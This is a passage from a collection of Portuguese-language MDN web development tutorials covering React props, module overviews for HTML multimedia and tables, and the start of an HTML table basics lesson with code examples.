*prop*.\n\nAdicione a *prop* `subject` na invocação do componente `<App/>`, com o valor de `Clarice`. Quando você terminar, seu código deve estar assim:\n\n\n```jsx\nReactDOM.render(<App subject=\"Clarice\" />, document.getElementById(\"root\"));\n```\n\n\nDe volta ao `App.js`, vamos revisitar a própria função App, que é lida da seuginte forma (com a declaração de `return` encurtada, a fim de ser breve.)\n\n\n```js\nfunction App() {\n  const subject = \"React\";\n  return (\n    // return statement\n  );\n}\n```\n\n\nMude a definação da nossa função `App` para que aceite `props` como um parâmetro. Assim como qualquer outro parâmetro, você pode colocar `props` em um `console.log()` para ler o que este contém no console de seu navegador. Vá em frente e faça justamente isto depois da sua constante `subject` porém antes da sua declaração de `return`, da seguinte forma:\n\n\n```js\nfunction App(props) {\n  const subject = \"React\";\n  console.log(props);\n  return (\n    // return statement\n  );\n}\n```\n\n\nSalve seu arquivo e dê uma olhada no console do navegador. Você deve ver algo assim nos *logs*:\n\n\n```js\nObject { subject: \"Clarice\" }\n```\n\n\nA propriedade `subjet` deste objeto corresponde à *prop* `subject` que nós adicionamos à nossa chamada do componente `<App />`, e a *string* `Clarice` corresponde ao seu valor. *props* de coponentes no React são sempre coletadas em objetos neste mesmo estilo.\n\nAgora que `subjet` é uma de nossas *props*, vamos utilizá-la em `App.js`. Mude a constante `subject` para que, em vez de ler a string que diz `React`, você está lendo o valor de `props.subject`. Você também pode deletar o `console.log()`, se você quiser.\n\n\n```js\nfunction App(props) {\n  const subject = props.subject;\n  return (\n    // return statement\n  );\n}\n```\n\n\nQuando você salvar o arquivo, o aplicativo agora deve dizer \"Hello, Clarice!\". Se você retornar ao `index.js`, editar o valor de `subject` e salvar, seu texto irá mudar.\n\nSumário\n-------\n\nIsto nos traz ao fim da nossa primeira olhada no React, incluindo como instalá-lo localmente, criando um aplicativo inicial e como o básico funciona. No próximo artigo nós começaremos a construir nossa primeira aplicação de verdade — uma lista de tarefas. Antes de fazermos isso, entretanto, vamos relembrar algumas coisas que aprendemos.\n\nNo React\n\n* Componentes podem importar módulos que eles precisam e devem exportar a si mesmo no final de seus respectivos arquivos.\n* Componentes em forma de função são nomeados com `PascalCase`.\n* Você pode ler variáveis de JSX ao colocá-las entre chaves, da seguinte forma `{assim}`.\n* Alguns atributos de JSX são diferente dos atributos de HTML, isto é feito para que eles não entrem em conflito com palavras reservadas do JavaScript. Por exemplo. `class` no HTML transforma-se em `className` no JSX. Note que atributos com múltiplas palavras são escritos no padrão de formatação *camel-case*.\n* *Props* são escritas bem como atributos dentro das invocações de componentes e são passadas para dentro de componentes.\n* Anterior  (en-US)\n* Menu: Client-side JavaScript frameworks\n* Próxima  (en-US)"}
{"title":"Multimídia e Incorporação - Aprendendo desenvolvimento web","text":"Multimídia e Incorporação\n=========================\n\nNós vimos muito sobre texto até aqui nesse curso, mas a internet seria muito chata se usassemos apenas texto. Vamos começar a ver como fazer a internet criar vida, com conteúdo mais interessante! Esse módulo explora como usar HTML para incluir multimídia em sua pagina web,usando as diferentes formas de inclusão de imagens , e como adicionar video, audio, e até paginas da web inteiras.\n\nPré-requisitos\n--------------\n\nAntes de iniciar esse módulo, você deve ter um conhecimento razoável de HTML, como previamente abrangido em introdução a HTML. Se você não estudou esse módulo (ou algo similar), estude-o primeiro e depois retorne!\n\n**Nota:** Se você está trabalhando em um computador/tablet/outro dispositivo onde você não tem a habilidade de criar seus próprios arquivos, você pode testar (maior parte) dos exemplos de códigos em um programa online para codar tais como JSBin ou Thimble.\n\nGuias\n-----\n\nEsse módulo contém os seguintes artigos, que vão passar por todos os fundamentos para inserir multimídia em páginas da web.\n\nImagens em HTML\n\nExistem outros tipos de multimídia para considerar, porém é lógico começar com o modesto elemento `<img>` , usado para inserir uma simples imagem em uma página da web. Nesse artigo vamos aprender a usar esse elemento com mais profundidade, incluindo os básicos, anotando com legendas usando `<figure>` e como se relaciona com imagens de fundo em CSS.\n\nConteúdo em áudio e video\n\nAgora nós iremos aprender como usar os elementos HTML5 `<video>` e `<audio>` , para inserir video e audio em nossa página; incluindo o basico, fornecendo acesso a diferentes tipos de arquivo para navegadores diferentes, adicionando legenda , e como adicionar alternativas para navegadores mais antigos.\n\nDe <object> para <iframe> — outras tecnologias incorporadas\n\nA essa altura, nós gostariamos de avançar alguns passos sobre um conjunto de elementos que permitem você incorporar uma ampla variedade de tipos de conteúdo na suas páginas web: os elementos `<iframe>`, `<embed>` e `<object>` (en-US). `<iframe>`s servem para incorporar outras páginas web, enquanto as outras duas permitem você incorporar PDFs, SVG, e até mesmo Flash — uma tecnologia cada vez menos presente, mas que ainda é possível você encontrar de forma quase regular.\n\nAdicionando gráficos vetoriais à Web\n\nGráficos vetoriais podem ser muito úteis em determinadas situações. Diferente dos formatos comuns, como PNG/JPG, eles não sofrem distorção/pixelização quando o zoom é ampliado — podendo continuar com a mesma qualidade quando alterado em escala. Esse artigo irá introduzir a você o que são os gráficos vetoriais e como incluir o formato SVG nas páginas web.\n\nImagens responsivas\n\nCom a atual variedade de tipos de dispositivos capazes de navegar na web - de celulares móveis à computadores pessoais - um conceito essencial para dominar o mundo web moderno é o design responsivo. Este se refere à criação de páginas web que podem automaticamente mudar seus atributos para se adaptar a diferentes resoluções e tamanhos de tela. Isso será explorado em mais detalhes em um módulo CSS posterior, mas, por enquanto, iremos verificar as ferramentas HTML disponíveis para criar imagens responsivas, incluindo o elemento `<picture>`.\n\nTestes de Conhecimentos\n-----------------------\n\nOs testes de conhecimentos a seguir vão avaliar seu aprendizado nos assuntos abaixo:\n\nPágina Inicial do Mozilla (en-US)\n\nNeste teste nós vamos avaliar seus conhecimentos quanto a algumas técnicas discutidas nos artigos desse módulo, devendo você adicionar imagens e videos numa divertida página inicial sobre o Mozilla!\n\nVeja também\n-----------\n\nAdicionando um hitmap no topo de uma imagem (en-US)\n\nImage maps consiste em um mecanismo que torna diferentes partes de uma imagem em uma forma de acesso para outros lugares ou coisas (pense em um mapa mundi que apresenta informações sobre o país em que você clicou em cima). Essa técnica pode ser útil as vezes.\n\nWeb literacy basics 2\n\nAn excellent Mozilla foundation course that explores and tests some of the skills talked about in the *Multimedia and embedding* module. Dive deeper into the basics of composing webpages, designing for accessibility, sharing resources, using online media, and working open."}
{"title":"Tabelas em HTML - Aprendendo desenvolvimento web","text":"Tabelas em HTML\n===============\n\nUma tarefa muito comum em HTML é estruturar os dados tabulares, e há vários elementos e atributos próprios para essa finalidade. Em conjunto com a linguagem CSS para estilização, o HTML torna fácil a exibição de tabelas com informação na Web, tais como o seu plano de lições escolares, o horário na sua piscina local, ou estatísticas sobre os seus dinossauros favoritos ou seu time de futebol favorito. Este módulo te guia por tudo que você precisa saber sobre a estruturação de dados tabulares utilizando o HTML.\n\nPré-requisitos\n--------------\n\nAntes de iniciar este módulo, você deverá ter domínio dos básicos de HTML — consulte Introdução ao HTML.\n\n**Nota:** se está utilizando um computador/tablet/outro dispositivo onde não tem a possibilidade de criar os seus próprios arquivos, pode testar a maioria dos exemplos de código num programa de codificação on-line, tais como JSBin ou Thimble.\n\nGuias\n-----\n\nEste módulo contém os seguintes artigos:\n\nHTML - o básico sobre tabelas\n\nEste artigo apresenta as tabelas HTML, cobrindo o essencial, tal como linhas e células, cabeçalhos, como extender células por múltiplas colunas e linhas, e como agrupar todas as células numa coluna para efeitos de estilo.\n\nHTML - funcionalidades avançadas de tabelas e acessibilidade\n\nNo segundo artigo deste módulo, nós vamos ver algumas funcionalidades mais avançadas das tabelas HTML — tais como legendas/resumos e agrupar as suas filas no cabeçalho da tabela (head), seções de corpo (body) e rodapé (footer) — bem como, veremos sobre a acessibilidade das tabelas para os utilizadores deficientes visuais .\n\nExercícios\n----------\n\nEstruturar dados sobre planetas\n\nNa nossa avaliação sobre tabelas em HTML, vamos fornecer alguns dados sobre os planetas do nosso sistema solar, para que possa estruturá-los numa tabela HTML."}
{"title":"Use HTML para resolver problemas comuns - Aprendendo desenvolvimento web","text":"Use HTML para resolver problemas comuns\n=======================================\n\nOs links a seguir apontam para soluções de problemas comuns que você precisará resolver utilizando HTML.\n\n### Estrutura Básica\n\nA aplicação mais básica de HTML é na estrutura de um documento. Se você está começando no HTML, deve começar por aqui.\n\n* Como criar um documento básico HTML\n* Como separar uma página web em seções lógicas (en-US)\n* Como configurar uma estrutura adequada de cabeçalhos e parágrafos\n### Semântica básica em nível de texto\n\nO HTML se especializou em fornecer informação semântica para um documento, portanto o HTML responde muitas questões que você talvez tenha sobre a melhor maneira de passar sua mensagem em um documento.\n\n* Como criar uma lista de itens com HTML\n* Como destacar ou enfatizar conteúdo\n* Como indicar que um texto é importante\n* Como mostrar código de computador com HTML\n* Como adicionar anotações em imagens e figuras\n* Como assinalar abreviaturas e torná-las inteligíveis\n* Como adicionar citações em páginas web\n* Como definir termos com HTML (en-US)\n### Hiperlinks\n\nUma das principais atribuições do HTML é tornar a navegação mais fácil com hiperlinks (en-US), que podem ser usados de diferentes formas:\n\n* Como criar um hiperlink\n* Como criar um menu de navegação com HTML\n### Imagens & multimídia\n\n* Como adicionar imagens em uma página web\n* Como adicionar conteúdo de vídeo em uma página web\n* Como adicionar conteúdo de áudio em uma página web\n### Scripts & estilos\n\nO HTML só configura a estrutura do documento. Para resolver problemas de apresentação, use o CSS ou use scripts para tornar sua página interativa.\n\n* Como usar CSS em uma página web\n* Como usar JavaScript em uma página web (en-US)\n### Conteúdo embutido\n\n* Como embutir uma página web dentro de outra página web\n* Como adicionar conteúdo em Flash dentro de uma página\nProblemas incomuns ou avançados\n-------------------------------\n\nAlém do básico, o HTML é muito rico e oferece recursos avançados para resolver problemas complexos. Estes artigos lhe ajudam a lidar com casos de uso menos comuns que você possa encontrar:\n\n### Formulários\n\nFormulários são uma estrutura complexa em HTML, criada para enviar dados de uma página web para um servidor web. Nós lhe encorajamos a conhecer nosso guia completo. Eis os tópicos onde você deve começar:\n\n* Como criar um formulário Web simples (en-US)\n* Como estruturar um formulário Web\n### Informação tabular\n\nAlgumas informações, chamadas de dados tabulares, precisam ser organizadas em tabelas com colunas e linhas. Esta é uma das estruturas HTML mais complexas, e dominá-la não é fácil:\n\n* Como criar uma planilha de dados\n* Como tornar as tabelas HTML acessíveis\n* Como otimizar a renderização de tabelas HTML\n### Representação de dados\n\n* Como representar valores numéricos em HTML\n* Como usar atributos de dados\n* Como associar conteúdo legível por humanos com estruturas arbitrárias de dados\n### Interatividade\n\n* Como criar conteúdo recolhível em HTML\n* Como adicionar menus contextuais em uma página web\n* Como criar caixas de diálogo em HTML\n### Semântica avançada de texto\n\n* Como controlar quebras de linha em HTML\n* Como destacar mudanças (texto adicionado ou removido)\n### Imagens & multimídia avançados\n\n* Como adicionar imagens responsivas em uma página web\n* Como adicionar imagens vetoriais em uma página web\n* Como adicionar um mapa de links em uma imagem (en-US)\n### Internacionalização\n\nHTML não é unilíngue. A linguagem fornece ferramentas para lidar com problemas comuns de internacionalização.\n\n* Como adicionar múltiplos idiomas em uma única página web\n* Como lidar com caracteres ruby em japonês\n* Como mostrar data e hora em HTML\n### Performance\n\n* Como criar páginas HTML que carregam rápido"}
{"title":"Introdução ao HTML - Aprendendo desenvolvimento web","text":"Introdução ao HTML\n==================\n\nEm sua essência, HTML é uma linguagem bastante simples composta de elementos, que podem ser aplicados a pedaços de texto para dar-lhes significado diferente em um documento (é um parágrafo? é uma lista de seleção? é parte de uma tabela?), estrutura um documento em seções lógicas (Possui um cabeçalho? Três colunas de conteúdo? Um menu de navegação?) e incorpora conteúdo como imagens e vídeos em uma página. Este módulo irá introduzir os dois primeiros e apresentar conceitos fundamentais e a sintaxe que você precisa saber para entender o HTML.\n\nPré-requisitos\n--------------\n\nAntes de iniciar este módulo, você não precisa de nenhum conhecimento prévio sobre HTML, mas deve ter pelo menos uma familiaridade básica em utilizar computadores e utilizar a web passivamente (por exemplo, apenas navegando e consumindo conteúdo). Você deve ter um ambiente de trabalho básico configurado (como detalhado em Instalando os programas básicos) e entender como criar e gerenciar arquivos (como detalhado em Lidando com arquivos). Ambos são partes do nosso módulo completo para iniciantes indrodução à web.\n\n**Nota:** **Nota**: Se você estiver trabalhando em um computador/tablet/outro dispositivo que não permita a criação de seus próprios arquivos, você pode testar (a maior parte) dos exemplos de códigos em um programa de codificação online como JSBin ou Glitch.\n\nGuias\n-----\n\nEste módulo contém os seguintes artigos, que te levarão por toda teoria básica do HTML e fornecerão muitas oportunidades para você testar algumas habilidades.\n\nIniciando com o HTML\n\nAbrange todo o básico do HTML, para você iniciar - nós definimos elementos, atributos e outros termos importantes, e mostramos onde eles se encaixam na linguagem. Também mostramos como uma página HTML típica e um elemento HTML é estruturado, e explicamos outros recursos básicos importantes da linguagem. Ao longo do caminho, nós brincaremos com algum HTML, para fazer você se interessar!\n\nO que está no cabeçalho? Metadados no HTML\n\nO cabeçalho (en-US) de um documento HTML é a parte que **não é** mostrada no navegador web quando a página é carregada. Ele contém informações como o `<title>` da página, links para CSS (se você quiser estilizar seu conteúdo HTML com CSS), links para favicons personalizados e metadados (que são dados sobre o HTML, tais como quem o escreveu e palavras-chaves importantes que descrevem o documento).\n\nFundamentos do texto HTML\n\nUma das principais funções do HTML é dar significado ao texto (também conhecido como semântica), para que o navegador saiba como exibi-lo corretamente. Este artigo analisa como usar HTML para dividir um bloco de texto em uma estrutura de títulos e parágrafos, adicionar ênfase/importância nas palavras, criar listas e muito mais.\n\nCriando hiperlinks\n\nOs hiperlinks são realmente importantes — eles são o que faz da web o que ela é. Este artigo mostra a sintaxe necessária para criar um link e discute as melhores práticas para links.\n\nFormatação de texto avançada\n\nExistem muitos outros elementos em HTML para formatar o texto, que não apresentamos no artigo sobre os Fundamentos do texto em HTML. Os elementos aqui são menos conhecidos, mas ainda úteis para se conhecer. Neste artigo, você aprenderá sobre marcação de citações, listas de descrições, código de computador e outros textos relacionados, subscrito e sobrescrito, informações de contatos e muito mais.\n\nEstrutura dos documentos e do site\n\nAlém de definir partes individuais de sua página (como \"um parágrafo\" ou \"uma imagem\"), o HTML também é usado para definir as áreas do seu site (como \"o cabeçalho\", \"o menu de navegação\" ou \"a coluna de conteúdo principal\"). Este artigo analisa como planejar uma estrutura básica de site e como escrever o HTML para representar esta estrutura.\n\nDepuração HTML\n\nEscrever HTML é tranquilo, mas e se algo der errado, e você não conseguir descobrir onde o erro está no código? Este artigo irá apresentar algumas ferramentas que podem ajudar.\n\nAvaliações\n----------\n\nAs avaliações a seguir testarão sua compreensão dos princípios básicos de HTML abordados nos guias acima.\n\nMarcando uma carta\n\nTodos aprendemos a escrever uma carta mais cedo ou mais tarde; também é um exemplo útil para testar habilidades de formatação de texto. Nesta avaliação, você receberá uma carta para marcar.\n\nEstruturando a página de conteúdo\n\nEssa avaliação testa sua capacidade de utilizar HTML para estruturar uma página simples de conteúdo, contendo um cabeçalho, um rodapé, um menu de navegação, o conteúdo principal e uma barra lateral.\n\nVeja também\n-----------\n\nNoções básica sobre alfabetização na web 1 (em inglês)\n\nUm excelente curso da Fundação Mozilla que explora e testa muitas das habilidades discutidas no Módulo *Introdução ao HTML.* Os estudantes se familiarizam com a leitura, a redação e a participação na web neste módulo de seis partes. Descubra as bases da web através da produção e da colaboração."}
{"title":"HTML table basics - Aprendendo desenvolvimento web","text":"HTML table basics\n=================\n\n* Menu: Tabelas\n* Próxima\n\nEste artigo é uma introdução às tabelas HTML, cobrindo o básico, como linhas e células, cabeçalhos, fazendo as células ocuparem várias colunas e linhas e como agrupar todas as células em uma coluna para fins de estilo.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Noções básicas de HTML (consulte\n Introdução ao HTML\n ).\n  |\n| Objetivo: | Para obter familiaridade básica com tabelas HTML. |\n\nO que é uma tabela?\n-------------------\n\nUma tabela é um conjunto estruturado de dados composto de linhas e colunas (**dados tabulares**). Uma tabela permite consultar de forma rápida e fácil valores que indicam algum tipo de conexão entre diferentes tipos de dados, por exemplo, uma pessoa e sua idade, ou um dia da semana, ou os horários de uma piscina local.\n\n![Uma tabela de amostra mostrando nomes e idades de algumas pessoas - Chris 38, Dennis 45, Sarah 29, Karen 47.](/pt-BR/docs/Learn/HTML/Tables/Basics/numbers-table.png)\n\n![Um cronograma de natação mostrando uma tabela de dados de amostra](/pt-BR/docs/Learn/HTML/Tables/Basics/swimming-timetable.png)\n\nAs tabelas são muito comumente usadas na sociedade humana, e têm sido por muito tempo, como evidenciado por este documento do Censo dos EUA de 1800:\n\n![Um documento de pergaminho muito antigo; os dados não são facilmente legíveis, mas mostram claramente uma tabela de dados sendo usada.](/pt-BR/docs/Learn/HTML/Tables/Basics/1800-census.jpg)\n\nPortanto, não é de se admirar que os criadores do HTML tenham fornecido um meio de estruturar e apresentar dados tabulares na web.\n\n### Como funciona uma tabela?\n\nTabelas possuem estrutura. As informações são facilmente interpretadas fazendo associações visuais entre os cabeçalhos de linha e coluna. Veja a tabela abaixo, por exemplo, e encontre um gigante gasoso Júpiter com 62 luas. Você pode encontrar a resposta associando os cabeçalhos de linha e coluna relevantes.\n\n\n Dados sobre os planetas do nosso sistema solar (fatos planetários retirados\n da\n Planilha Planetária da Nasa - Métrica\n .\n |  | Nome | Massa (10 24 kg) | Diâmetro (km) | Densidade (kg/m 3 ) | Gravidade (m/s2) | Duração do dia (hours) | Distancia do Sol (106km) | Temperatura Média (°C) | Fases da Lua | Anotações |\n| Planetas Terrestres | Mercúrio | 0.330 | 4,879 | 5427 | 3.7 | 4222.6 | 57.9 | 167 | 0 | Proximidade do Sol |\n| Venus | 4.87 | 12,104 | 5243 | 8.9 | 2802.0 | 108.2 | 464 | 0 |  |\n| Terra | 5.97 | 12,756 | 5514 | 9.8 | 24.0 | 149.6 | 15 | 1 | Nosso Planeta |\n| Marte | 0.642 | 6,792 | 3933 | 3.7 | 24.7 | 227.9 | -65 | 2 | O Planeta Vermelho |\n| Planetas Jovianos | Gigantes Gasosos | Jupiter | 1898 | 142,984 | 1326 | 23.1 | 9.9 | 778.6 | -110 | 67 | O Maior Planeta |\n| Saturno | 568 | 120,536 | 687 | 9.0 | 10.7 | 1433.5 | -140 | 62 |  |\n| Gigante de gelo | Urano | 86.8 | 51,118 | 1271 | 8.7 | 17.2 | 2872.5 | -195 | 27 |  |\n| Netuno | 102 | 49,528 | 1638 | 11.0 | 16.1 | 4495.1 | -200 | 14 |  |\n| Planeta Anão | Plutão | 0.0146 | 2,370 | 2095 | 0.7 | 153.3 | 5906.4 | -225 | 5 | \n Desconsiderado como planeta desde 2006, mas isto\n permanece controverso.\n  |\n\nQuando criadas corretamente, até pessoas cegas podem interpretar dados tabulares em uma tabela HTML - uma tabela HTML bem sucedida deve melhorar a experiência tanto de usuários com deficiências visuais quanto daqueles capazes de ver.\n\n### Estilizando tabelas\n\nVocê também pode dar uma olhada neste exemplo real no GitHub! Uma coisa que você perceberá é que essa tabela parece um pouco mais legível lá — isso ocorre porque a tabela que você vê acima nesta página tem o mínimo de estilização, enquanto a versão do GitHub tem um CSS expressivo aplicado.\n\nNão se iluda; para que tabelas sejam de fato efetivas na web, você precisa fornecer algumas informações de estilo com CSS, bem como uma boa estrutura sólida com HTML. Neste módulo nos iremos focar na parte do HTML; Para saber mais sobre a parte do CSS você deve visitar nosso artigo Estilizando Tabelas (en-US) depois que você finalizar este.\n\nNós não focaremos em CSS neste módulo, mas nós forneceremos uma mínima folha de estilo CSS para você usar que fará suas tabelas mais legíveis que o padrão que teria sem nenhuma estilização. Você pode procurar a folha de estilo aqui, e você pode também procurar um template HTML que aplica a folha de estilo — juntos eles serão um bom ponto de partida para serem implementados com tabelas HTML.\n\n### Quando NÃO utilizar tabelas HTML?\n\nTabelas HTML devem ser usadas para exibir dados tabulares - foram projetadas para isso. Infelizmente, muitas pessoas se acostumaram a usar tabelas HTML para diagramar páginas web, por exemplo, uma linha para conter o cabeçalho, outra linha para conter as colunas de conteúdo, uma linha para conter o rodapé, etc. Mais detalhes e um exemplo podem ser encontrados em Page Layouts de nosso Accessibility Learning Module. Isso era muito comum porque o suporte à CCS entre diferentes navegadores era muito ruim; tabelas sendo usadas para leiaute não são comuns nos dias de hoje mas ainda podem ser encontradas em alguns cantos da web.\n\nEm resumo, usar tabelas para leiuate no lugar de usar técnicas de leiaute CSS é uma péssima ideia. Os principais motivos são os seguintes:\n\n1. **Tabelas usadas para leiuate reduzem a accessibilidade para usuários com deficiência visual**: Leitores de tela (en-US), usados por pessoas cegas, interpretam as tags que existem na página HTML e leem em voz alta os conteúdos para os usuários. Como as tabelas não são adequadas para leiaute, e a marcação é mais complexa que aquela feita com técnicas de leiuate de CSS, a leitura em voz alta resultante dos leitores de tela será confusa para os usuários.\n2. **Tabelas produzem uma sopa de tags**: Como foi dito acima, tabelas usadas para leiaute geralmente envolvem estruturas de marcação mais complexas que as técnicas apropriadas para leiaute. Isso pode resultar em código mais difícil de escrever, de manter e de depurar.\n3. **Tabelas não são automaticamente responsivas**: Quando usamos contêineres apropriados para fazer o leiuate (como as `<header>`, `<section>`, `<article>`, ou `<div>`), a largura por padrão é 100% da largura do elemento pai. Tabelas, no entanto, são dimensionadas por padrão de acordo com o seu conteúdo, de modo que medidas extras são necessárias para que as tabelas usadas para leiaute de estilos funcionem efetivamente entre os diversos dispositivos.\nActive learning: Criar sua primeira tabela\n------------------------------------------\n\nFalamos o suficiente sobre teoria de tabelas, então, vamos partir para um exemplo prático e construir uma tabela simples.\n\n1. Antes de tudo, faça uma cópia local de blank-template.html e minimal-table.css dentro de um novo diretório na sua máquina local.\n2. O conteúdo de cada tabela fica contido entre as duas tags : **`<table></table>`**. Acrescente-as dentro da seção body de seu HTML.\n3. O menor contêiner dentro de uma tabela é uma célula da tabela, que é criada por um elemento **`<td>` (en-US)** ('td' significa 'dados da tabela'). Adicione as linhas seguintes dentro das tags da tabela:\n\n```html\n<td>Hi, I'm your first cell.</td>\n```\n\n4. Se quisermos uma linha da tabela com quatro células, precisamos copiar essas tags três vezes. Altere o conteúdo da sua tabela para ficar dessa maneira:\n\n```html\n<td>Hi, I'm your first cell.</td>\n<td>I'm your second cell.</td>\n<td>I'm your third cell.</td>\n<td>I'm your fourth cell.</td>\n```\n\n\nComo podemos ver, as células não são posicionadas uma abaixo da outra, em vez disso elas são automaticamente alinhadas umas com as outras na mesma linha. Cada elemento `<td>` cria uma única célula que juntas formam a primeira linha. Cada célula adicionada faz a linha crescer e se tornar mais longa.\n\nPara evitar que a linha cresça e começar a posicionar células em uma segunda linha, precisamos usar o elemento **`<tr>` (en-US)** ('tr' significa 'linha da tabela'). Vamos investigar isso agora.\n\n1. Coloque as quatro células recém criadas dentro das tags `<tr>` tags, dessa maneira:\n\n```html\n<tr>\n  <td>Hi, I'm your first cell.</td>\n  <td>I'm your second cell.</td>\n  <td>I'm your third cell.</td>\n  <td>I'm your fourth cell.</td>\n</tr>\n```\n\n2. Agora que uma linha foi criada, vamos tentar criar mais uma ou duas linhas — cada linha precisa estar cercada por um elemento `<tr>`, com cada célula contida dentro de um elemento `<td>`.\n\nIsso deve resultar em uma tabela que vai parecer com algo assim:\n\n| Hi, I'm your first cell. | I'm your second cell. | I'm your third cell. | I'm your fourth cell. |\n| --- | --- | --- | --- |\n| Second row, first cell. | Cell 2. | Cell 3. | Cell 4. |\n\n**Nota:** Você também pode encontrar esse código no GitHub em simple-table.html (veja ao vivo também).\n\nAdicionar cabeçalhos com o elemento <th>\n----------------------------------------\n\nAgora vamos voltar nossa atenção para os cabeçalhos das tabelas — células especiais que aparecem no início de uma linha ou coluna e definem o tipo de dado que a linha ou coluna contém (como exemplo, veja as células de \"Person\" e \"Age\" no primeiro exemplo mostrado nesse artigo). Para ilustrar como os cabeçalhos são úteis, dê uma olhada na seguinte tabela de exemplo. Primeiro o código fonte:\n\n\n```html\n<table>\n  <tr>\n    <td>&nbsp;</td>\n    <td>Knocky</td>\n    <td>Flor</td>\n    <td>Ella</td>\n    <td>Juan</td>\n  </tr>\n  <tr>\n    <td>Breed</td>\n    <td>Jack Russell</td>\n    <td>Poodle</td>\n    <td>Streetdog</td>\n    <td>Cocker Spaniel</td>\n  </tr>\n  <tr>\n    <td>Age</td>\n    <td>16</td>\n    <td>9</td>\n    <td>10</td>\n    <td>5</td>\n  </tr>\n  <tr>\n    <td>Owner</td>\n    <td>Mother-in-law</td>\n    <td>Me</td>\n    <td>Me</td>\n    <td>Sister-in-law</td>\n  </tr>\n  <tr>\n    <td>Eating Habits</td>\n    <td>Eats everyone's leftovers</td>\n    <td>Nibbles at food</td>\n    <td>Hearty eater</td>\n    <td>Will eat till he explodes</td>\n  </tr>\n</table>\n```\n\n\nAgora veja como a tabela é exibida:\n\n|  | Knocky | Flor | Ella | Juan |\n| --- | --- | --- | --- | --- |\n| Breed | Jack Russell | Poodle | Streetdog | Cocker Spaniel |\n| Age | 16 | 9 | 10 | 5 |\n| Owner | Mother-in-law | Me | Me | Sister-in-law |\n| Eating Habits | Eats everyone's leftovers | Nibbles at food | Hearty eater | Will eat till he explodes |\n\nAqui, o problema é que mesmo que possamos entender o que está acontecendo, não é tão fácil fazer uma referência cruzada dos dados, como poderia ser. Se os cabeçalhos das colunas e linhas se destacassem de alguma maneira, seria bem melhor.\n\n### Aprendizado Ativo\n\nVamos tentar melhorar essa tabela.\n\n1. Primeiro, faça uma cópia local dos arquivos dogs-table.html e minimal-table.css dentro de um novo diretório da sua máquina local. O HTML contém o mesmo exemplo de Dogs visto acima.\n2. Para reconhecer os cabeçalhos de uma tabela como cabeçalhos, tanto visualmente como semanticamente, podemos usar o elemento **`<th>`** ('th' significa 'cabeçalho da tabela'). Ele funciona da mesma maneira que um `<td>`, exceto que denota um cabeçalho, e não uma célula normal. Abra o arquivo HTML, e mude todos os elementos `<td>` que envolvem os cabeçalhos das tabelas para o elemento `<th>`.\n3. Salve o HTML e abra em um navegador, e veja que os cabeçalhos agora se parecem mais com cabeçalhos.\n\n**Nota:** Encontre esse exemplo pronto em dogs-table-fixed.html no GitHub (veja ao vivo também).\n\n### Por que os cabeçalhos são úteis?\n\nJá respondemos parcialmente essa pergunta - fica mais fácil encontrar os dados que estamos procurando quando o cabeçalho se destaca claramente, e o design simplesmente aparece mais bonito.\n\n**Nota:** Cabeçalhos de tabelas têm alguns estilos padronizados — eles são fortes e centralizados mesmo que você não use nenhum estilo para a tabela, para ajudar a destacá-los.\n\nCabeçalhos de tabelas também têm um benefício extra - juntamente com o atributo `scope` (que vamos aprender no próximo artigo), eles permitem tornar as tabelas mais acessíveis associando cada cabeçalho com todos os dados em uma mesma linha ou coluna. Leitores de tela podem então ler em voz alta uma coluna ou linha inteira de dados de uma vez só, o que é muito mais útil.\n\nPermitir que células se estendam por múltiplas linhas ou colunas\n----------------------------------------------------------------\n\nAlgumas vezes, queremos que as células se estendam para múltiplas linhas ou colunas. Veja esse simples exemplo a seguir, que mostra os nomes de animais comuns. Em alguns casos, queremos mostrar os nomes dos machos e fêmeas perto do nome do animal. Em outros não queremos isso, e nesse caso queremos que o nome do animal se extenda para a tabela inteira.\n\nA marcação inicial se parece assim:\n\n\n```html\n<table>\n  <tr>\n    <th>Animals</th>\n  </tr>\n  <tr>\n    <th>Hippopotamus</th>\n  </tr>\n  <tr>\n    <th>Horse</th>\n    <td>Mare</td>\n  </tr>\n  <tr>\n    <td>Stallion</td>\n  </tr>\n  <tr>\n    <th>Crocodile</th>\n  </tr>\n  <tr>\n    <th>Chicken</th>\n    <td>Hen</td>\n  </tr>\n  <tr>\n    <td>Rooster</td>\n  </tr>\n</table>\n```\n\n\nMas o resultado final não é aquilo que queremos:\n\n| Animals |  |\n| --- | --- |\n| Hippopotamus |  |\n| Horse | Mare |\n| Stallion |  |\n| Crocodile |  |\n| Chicken | Hen |\n| Rooster |  |\n\nQueremos uma maneira de fazer \"Animals\", \"Hippopotamus\", e \"Crocodile\" se estenderem por duas colunas, e \"Horse\" e \"Chicken\" se estenderem para baixo por duas linhas. Por sorte, os cabeçalhos das tabelas e células têm os atributos `colspan` e `rowspan`, que nos permite fazer esses ajustes. Ambos aceitam um valor de número sem unidade, que iguala o número de linhas e colunas que deseja estender. Por exemplo, `colspan=\"2\"` faz com que uma célula se estender por duas colunas.\n\nVamos usar `colspan` e `rowspan` para melhorar essa tabela.\n\n1. Primeiro, faça uma cópia local dos arquivos animals-table.html and minimal-table.css e salve dentro de um novo diretório na sua máquina local. O arquivo HTML contém o mesmo exemplo de animais visto acima.\n2. Em seguida, use `colspan` para fazer \"Animals\", \"Hippopotamus\", e \"Crocodile\" se estender por duas colunas.\n3. Por fim, use `rowspan` para fazer \"Horse\" e \"Chicken\" se estender por duas linhas.\n4. Salve e abra o código em um navegador para ver a melhoria.\n\n**Nota:** Encontre o exemplo pronto em animals-table-fixed.html no GitHub (veja ao vivo também).\n\nProvendo estilos comuns para colunas\n------------------------------------\n\nExiste uma última característica da qual vamos falar nesse artigo, antes de prosseguir. HTML tem um método de definir informação de estilo para uma coluna inteira de dados de uma só vez — o elemento **`<col>` (en-US)** e **`<colgroup>` (en-US)**. Eles existem por que pode ser um pouco entediante e ineficiente ter de especificar o estilo de colunas - temos de especificar as informações de estilo para *cada* `<td>` ou `<th>` da coluna, ou usar um seletor complexo como o `:nth-child()` (en-US).\n\n**Nota:** Estilizar colunas dessa maneira está limitada para umas poucas propriedades: `border` (en-US), `background`, `width`, e `visibility`. Para ajustar outras propriedades devemos aplicar o estilo para cada `<td>` ou `<th>` da coluna, ou usar um seletor complexo como um `:nth-child()` (en-US).\n\nVeja o simples exemplo a seguir:\n\n\n```html\n<table>\n  <tr>\n    <th>Data 1</th>\n    <th style=\"background-color: yellow\">Data 2</th>\n  </tr>\n  <tr>\n    <td>Calcutta</td>\n    <td style=\"background-color: yellow\">Orange</td>\n  </tr>\n  <tr>\n    